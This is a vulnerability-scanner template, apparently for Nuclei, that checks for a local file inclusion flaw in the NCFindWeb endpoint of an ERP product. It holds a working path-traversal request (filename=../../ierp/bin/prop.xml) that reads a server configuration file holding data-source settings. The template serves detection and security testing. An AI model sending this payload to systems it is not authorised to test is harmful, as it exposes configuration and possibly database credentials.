id: wooyun-path-traversal

info:
  name: Wooyun - Local File Inclusion
  author: pikpikcu
  severity: high
  description: |
    Wooyun is vulnerable to local file inclusion.
  reference:
    - https://wooyun.x10sec.org/static/bugs/wooyun-2015-0148227.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: lfi,wooyun

http:
  - method: GET
    path:
      - "{{BaseURL}}/NCFindWeb?service=IPreAlertConfigService&filename=../../ierp/bin/prop.xml"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - <DataSourceClassName>
          - </DataSourceClassName>
        part: body
        condition: and

# digest: 4a0a004730450220438076a1bf2ee92ed51e4ca08eb32490175140165a92cf74b74982f4e945f95e022100f7ba51bea2f65481803106694d66b4fadcba09669d486aed0cb95585c25e49d1:922c64590222798bb761d5b6d8e72950
